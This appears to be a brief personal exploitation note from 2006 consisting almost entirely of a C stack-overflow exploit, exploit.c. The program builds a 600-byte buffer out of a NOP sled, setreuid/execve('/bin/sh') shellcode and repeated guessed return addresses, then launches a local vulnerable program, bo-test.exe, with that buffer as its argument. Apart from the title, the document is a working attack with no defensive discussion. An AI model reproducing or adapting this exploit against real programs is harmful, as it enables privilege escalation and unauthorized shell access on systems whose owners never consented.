Note of Exploiting

[SC] exploit.c : 2006-11-11

#include <stdlib.h>

char shellcode[]=
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

unsigned long sp (void){
    __asm__("movl %esp, %eax");
}

int main (int argc, char *argv[]){

    int i, offset;
    long esp, ret, *addr_ptr;
    char *buffer, *ptr;

    offset = 0;
    esp = sp();
    ret = esp - offset;

    printf("-------exploit---------------\n");

    buffer = malloc(600);

    ptr = buffer;
    addr_ptr = (long *)ptr;
    for (i=0; i<600; i += 4)
        *(addr_ptr++) = ret;

    for (i=0; i<200; i++)
        buffer[i] = '\x90';

    ptr = buffer + 200;
    for (i=0; i<strlen(shellcode); i++)
        *(ptr++) = shellcode[i];

    buffer[600 - 1] = 0;

    execl("./bo-test.exe", "bo-test.exe", buffer, 0);

    free(buffer);
    return 0;
}